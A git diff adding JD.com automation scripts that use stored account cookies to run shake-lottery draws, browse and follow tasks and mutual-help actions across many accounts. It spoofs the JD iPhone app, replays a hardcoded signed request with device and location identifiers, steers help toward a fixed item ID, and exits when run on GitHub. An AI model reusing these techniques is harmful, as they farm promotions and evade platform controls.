+ +function taskPostUrl(url, body) { + return { + url: `https://api.m.jd.com${url}`, + body: body, + headers: { + "Accept": "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie}`, + "Host": "api.m.jd.com", + "User-Agent": "JD4iPhone/167853 (iPhone; iOS; Scale/2.00)" , + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +//prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_club_lottery.js b/jd_club_lottery.js new file mode 100644 index 0000000..13cbe45 --- /dev/null +++ b/jd_club_lottery.js @@ -0,0 +1,1300 @@ +/* +Last Modified time: 2021-5-11 09:27:09 +活动入口:京东APP首页-领京豆-摇京豆/京东APP首页-我的-京东会员-摇京豆 +增加京东APP首页超级摇一摇(不定时有活动) +增加超级品牌日做任务及抽奖 +增加 京东小魔方 抽奖 +Modified from https://github.com/Zero-S1/JD_tools/blob/master/JD_vvipclub.py +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#摇京豆 +5 0,23 * * * jd_club_lottery.js, tag=摇京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true +=================Loon=============== +[Script] +cron "5 0,23 * * *" script-path=jd_club_lottery.js,tag=摇京豆 +=================Surge============== +[Script] +摇京豆 = type=cron,cronexp="5 0,23 * * *",wake-system=1,timeout=3600,script-path=jd_club_lottery.js + +============小火箭========= +摇京豆 = type=cron,script-path=jd_club_lottery.js, cronexpr="5 0,23 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('摇京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let superShakeBeanConfig = { + "superShakeUlr": "",//超级摇一摇活动链接 + "superShakeBeanFlag": false, + "superShakeTitle": "", + "taskVipName": "", +} +$.assigFirends = []; +$.brandActivityId = '';//超级品牌日活动ID +$.brandActivityId2 = '2vSNXCeVuBy8mXTL2hhG3mwSysoL';//超级品牌日活动ID2 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await welcomeHome() + if ($.superShakeUrl) { + await getActInfo($.superShakeUrl); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.freeTimes = 0; + $.prizeBeanCount = 0; + $.totalBeanCount = 0; + $.superShakeBeanNum = 0; + $.moFangBeanNum = 0; + $.isLogin = true; + $.nickName = ''; + message = '' + await TotalBean(); + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await clubLottery(); + await showMsg(); + } + } + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + if ($.canHelp && $.activityId) { + $.assigFirends = $.assigFirends.concat({ + "encryptAssignmentId": $.assigFirends[0] && $.assigFirends[0]['encryptAssignmentId'], + "assignmentType": 2, + "itemId": "SZm_olqSxIOtH97BATGmKoWraLaw", + }) + for (let item of $.assigFirends || []) { + if (item['encryptAssignmentId'] && item['assignmentType'] && item['itemId']) { + console.log(`\n账号 ${$.index} ${$.UserName} 开始给 ${item['itemId']} 进行助力`) + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": item['itemId'], + "actionType": 0, + "source": "main" + }); + if (!$.canHelp) { + console.log(`次数已用完,跳出助力`) + break + } + } + } + //账号内部助力后,继续抽奖 + for (let i = 0; i < new Array(4).fill('').length; i++) { + await superBrandTaskLottery(); + await $.wait(400); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + } + if (superShakeBeanConfig.superShakeUlr) { + const scaleUl = { "category": "jump", "des": "m", "url": superShakeBeanConfig['superShakeUlr'] }; + const openjd = `openjd://virtual?params=${encodeURIComponent(JSON.stringify(scaleUl))}`; + $.msg($.name,'', `【${superShakeBeanConfig['superShakeTitle'] || '超级摇一摇'}】活动再次开启\n【${superShakeBeanConfig['taskVipName'] || '开通品牌会员'}】请点击弹窗直达活动页面\n${superShakeBeanConfig['superShakeUlr']}`, { 'open-url': openjd }); + if ($.isNode()) await notify.sendNotify($.name, `【${superShakeBeanConfig['superShakeTitle']}】活动再次开启\n【${superShakeBeanConfig['taskVipName'] || '开通品牌会员'}】请点击链接直达活动页面\n${superShakeBeanConfig['superShakeUlr']}`, { url: openjd }); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function clubLottery() { + try { + await doTasks();//做任务 + await getFreeTimes();//获取摇奖次数 + await vvipclub_receive_lottery_times();//京东会员:领取一次免费的机会 + await vvipclub_shaking_info();//京东会员:查询多少次摇奖次数 + await shaking();//开始摇奖 + await shakeSign();//京东会员签到 + await superShakeBean();//京东APP首页超级摇一摇 + await superbrandShakeBean();//京东APP首页超级品牌日 + } catch (e) { + $.logErr(e) + } +} +async function doTasks() { + const browseTaskRes = await getTask('browseTask'); + if (browseTaskRes.success) { + const { totalPrizeTimes, currentFinishTimes, taskItems } = browseTaskRes.data[0]; + const taskTime = totalPrizeTimes - currentFinishTimes; + if (taskTime > 0) { + let taskID = []; + taskItems.map(item => { + if (!item.finish) { + taskID.push(item.id); + } + }); + if (taskID.length > 0) console.log(`开始做浏览页面任务`) + for (let i = 0; i < new Array(taskTime).fill('').length; i++) { + await $.wait(1000); + await doTask('browseTask', taskID[i]); + } + } + } else { + console.log(`${JSON.stringify(browseTaskRes)}`) + } + const attentionTaskRes = await getTask('attentionTask'); + if (attentionTaskRes.success) { + const { totalPrizeTimes, currentFinishTimes, taskItems } = attentionTaskRes.data[0]; + const taskTime = totalPrizeTimes - currentFinishTimes; + if (taskTime > 0) { + let taskID = []; + taskItems.map(item => { + if (!item.finish) { + taskID.push(item.id); + } + }); + console.log(`开始做关注店铺任务`) + for (let i = 0; i < new Array(taskTime).fill('').length; i++) { + await $.wait(1000); + await doTask('attentionTask', taskID[i].toString()); + } + } + } +} +async function shaking() { + for (let i = 0; i < new Array($.leftShakingTimes).fill('').length; i++) { + console.log(`开始 【京东会员】 摇奖`) + await $.wait(1000); + const newShakeBeanRes = await vvipclub_shaking_lottery(); + if (newShakeBeanRes.success) { + console.log(`京东会员-剩余摇奖次数:${newShakeBeanRes.data.remainLotteryTimes}`) + if (newShakeBeanRes.data && newShakeBeanRes.data.rewardBeanAmount) { + $.prizeBeanCount += newShakeBeanRes.data.rewardBeanAmount; + console.log(`恭喜你,京东会员中奖了,获得${newShakeBeanRes.data.rewardBeanAmount}京豆\n`) + } else { + console.log(`未中奖\n`) + } + } + } + for (let i = 0; i < new Array($.freeTimes).fill('').length; i++) { + console.log(`开始 【摇京豆】 摇奖`) + await $.wait(1000); + const shakeBeanRes = await shakeBean(); + if (shakeBeanRes.success) { + console.log(`剩余摇奖次数:${shakeBeanRes.data.luckyBox.freeTimes}`) + if (shakeBeanRes.data && shakeBeanRes.data.prizeBean) { + console.log(`恭喜你,中奖了,获得${shakeBeanRes.data.prizeBean.count}京豆\n`) + $.prizeBeanCount += shakeBeanRes.data.prizeBean.count; + $.totalBeanCount = shakeBeanRes.data.luckyBox.totalBeanCount; + } else if (shakeBeanRes.data && shakeBeanRes.data.prizeCoupon) { + console.log(`获得优惠券:${shakeBeanRes.data.prizeCoupon['limitStr']}\n`) + } else { + console.log(`摇奖其他未知结果:${JSON.stringify(shakeBeanRes)}\n`) + } + } + } + if ($.prizeBeanCount > 0) message += `摇京豆:获得${$.prizeBeanCount}京豆`; +} +function showMsg() { + return new Promise(resolve => { + if (message) { + $.msg(`${$.name}`, `京东账号${$.index} ${$.nickName}`, message); + } + resolve(); + }) +} +//====================API接口================= +//查询剩余摇奖次数API +function vvipclub_shaking_info() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_info`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.success) { + $.leftShakingTimes = data.data.leftShakingTimes;//剩余抽奖次数 + console.log(`京东会员——摇奖次数${$.leftShakingTimes}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//京东会员摇奖API +function vvipclub_shaking_lottery() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_lottery&body=%7B%7D`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取京东会员本摇一摇一次免费的次数 +function vvipclub_receive_lottery_times() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_receive_lottery_times`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//查询多少次机会 +function getFreeTimes() { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_luckyBox', { "info": "freeTimes" }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.success) { + $.freeTimes = data.data.freeTimes; + console.log(`摇京豆——摇奖次数${$.freeTimes}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getTask(info) { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_lotteryTask', { info, "withItem": true }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function doTask(taskName, taskItemId) { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_doTask', { taskName, taskItemId }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function shakeBean() { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_shaking', { "type": '0' }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(`摇奖结果:${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//新版超级本摇一摇 +async function superShakeBean() { + await superBrandMainPage(); + if ($.activityId && $.encryptProjectId) { + await superBrandTaskList(); + await superBrandDoTaskFun(); + await superBrandMainPage(); + await lo(); + } + if ($.ActInfo) { + await fc_getHomeData($.ActInfo);//获取任务列表 + await doShakeTask($.ActInfo);//做任务 + await fc_getHomeData($.ActInfo, true);//做完任务后查询多少次摇奖次数 + await superShakeLottery($.ActInfo);//开始摇奖 + } else { + console.log(`\n\n京东APP首页超级摇一摇:目前暂无活动\n\n`) + } +} +function welcomeHome() { + return new Promise(resolve => { + const data = { + "homeAreaCode": "", + "identity": "88732f840b77821b345bf07fd71f609e6ff12f43", + "fQueryStamp": "", + "globalUIStyle": "9.0.0", + "showCate": "1", + "tSTimes": "", + "geoLast": "", + "geo": "", + "cycFirstTimeStamp": "", + "displayVersion": "9.0.0", + "geoReal": "", + "controlMaterials": "", + "xviewGuideFloor": "index,category,find,cart,home", + "fringe": "", + "receiverGeo": "" + } + const options = { + url: `https://api.m.jd.com/client.action?functionId=welcomeHome`, + // url: `https://api.m.jd.com/client.action?functionId=welcomeHome&body=${escape(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1618538579097&sign=e29d09be25576be52ec22a3bb74d4f86&sv=100`, + // body: `body=${escape(JSON.stringify(data))}`, + body: `body=%7B%22homeAreaCode%22%3A%220%22%2C%22identity%22%3A%2288732f840b77821b345bf07fd71f609e6ff12f43%22%2C%22cycNum%22%3A1%2C%22fQueryStamp%22%3A%221619741900009%22%2C%22globalUIStyle%22%3A%229.0.0%22%2C%22showCate%22%3A%221%22%2C%22tSTimes%22%3A%220%22%2C%22geoLast%22%3A%22K3%252BcQaJxm9FzAm8%252BYHBwQKEMnguxItJAtNhFQOgUkktO5Vmidb%252BfKedLYq%252Fjlnc%252BK0ZsoA8jI8yXkYA6M2L5NYrGdBxZPbV%252FzT%252BU%252BHaCeNg%253D%22%2C%22geo%22%3A%22CZQirfKpZqpcvvBN0KadX76P55F3UdFoB2C3P0ZyHOXZWjeifB1aM0xH3BWx0YRlyu4eaUsfA3KpuoAraiffcw%253D%253D%22%2C%22cycFirstTimeStamp%22%3A%221619740961090%22%2C%22displayVersion%22%3A%229.0.0%22%2C%22geoReal%22%3A%22CZQirfKpZqpcvvBN0KadX76P55F3UdFoB2C3P0ZyHOXtnAGs7wzWHMkTSTIEj7qi%22%2C%22controlMaterials%22%3A%22null%22%2C%22xviewGuideFloor%22%3A%22index%2Ccategory%2Cfind%2Ccart%2Chome%22%2C%22fringe%22%3A%221%22%2C%22receiverGeo%22%3A%22mTBeEjk2Q83Kb3%252Fylt2Amm7iguwnhvKDgDnR18TktRpedJcPIHjALOIwGuNKAgau%22%7D&client=apple&clientVersion=9.4.6&d_brand=apple&isBackground=N&joycious=104&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=69cc68677ae63b0a8737602766a0a340&st=1619741900013&sv=111&uts=0f31TVRjBSujckcdxhii7gq9cidRV4uxtCNZpaQs9IOuG5PD2oGme36aUnsUBSyCtrnCzcJjRQzsekOXnNu9XyW4W2UAsnnZ06POovikHhGabI9pwW8ZeJ2vmOBTWqWjA66DWDvRHGVeJeXzsm5xolz7r%2FX0APYfhg8I5QBwgKJfD3hzoXkHcnsGfMhHncRzuC4iOtgVG8L%2FnQyyNwXAJQ%3D%3D&uuid=hjudwgohxzVu96krv%2FT6Hg%3D%3D&wifiBssid=unknown`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-Hans-CN;q=1, zh-Hant-CN;q=0.9", + "Connection": "keep-alive", + "Content-Length": "1761", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "User-Agent": "JD4iPhone/167588 (iPhone; iOS 14.3; Scale/2.00)" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} welcomeHome API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['floorList'] && data['floorList'].length) { + const shakeFloorNew = data['floorList'].filter(vo => !!vo && vo.type === 'shakeFloorNew')[0]; + const shakeFloorNew2 = data['floorList'].filter(vo => !!vo && vo.type === 'float')[0]; + // console.log('shakeFloorNew2', JSON.stringify(shakeFloorNew2)) + if (shakeFloorNew) { + const jump = shakeFloorNew['jump']; + if (jump && jump.params && jump['params']['url']) { + $.superShakeUrl = jump.params.url;//有活动链接,但活动可能已过期,需做进一步判断 + console.log(`【超级摇一摇】活动链接:${jump.params.url}`); + } + } + if (shakeFloorNew2) { + const jump = shakeFloorNew2['jump']; + if (jump && jump.params && jump['params']['url'].includes('https://h5.m.jd.com/babelDiy/Zeus/2PTXhrEmiMEL3mD419b8Gn9bUBiJ/index.html')) { + console.log(`【超级品牌日】活动链接:${jump.params.url}`); + $.superbrandUrl = jump.params.url; + } + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=========老版本超级摇一摇================ +function getActInfo(url) { + return new Promise(resolve => { + $.get({ + url, + headers:{ + // 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000 + },async (err,resp,data)=>{ + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = data && data.match(/window\.__FACTORY__TAOYIYAO__STATIC_DATA__ = (.*)}/) + if (data) { + data = JSON.parse(data[1] + '}'); + if (data['pageConfig']) superShakeBeanConfig['superShakeTitle'] = data['pageConfig']['htmlTitle']; + if (data['taskConfig']) { + $.ActInfo = data['taskConfig']['taskAppId']; + console.log(`\n获取【${superShakeBeanConfig['superShakeTitle']}】活动ID成功:${$.ActInfo}\n`); + } + } + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} +function fc_getHomeData(appId, flag = false) { + return new Promise(resolve => { + const body = { appId } + const options = taskPostUrl('fc_getHomeData', body) + $.taskVos = []; + $.lotteryNum 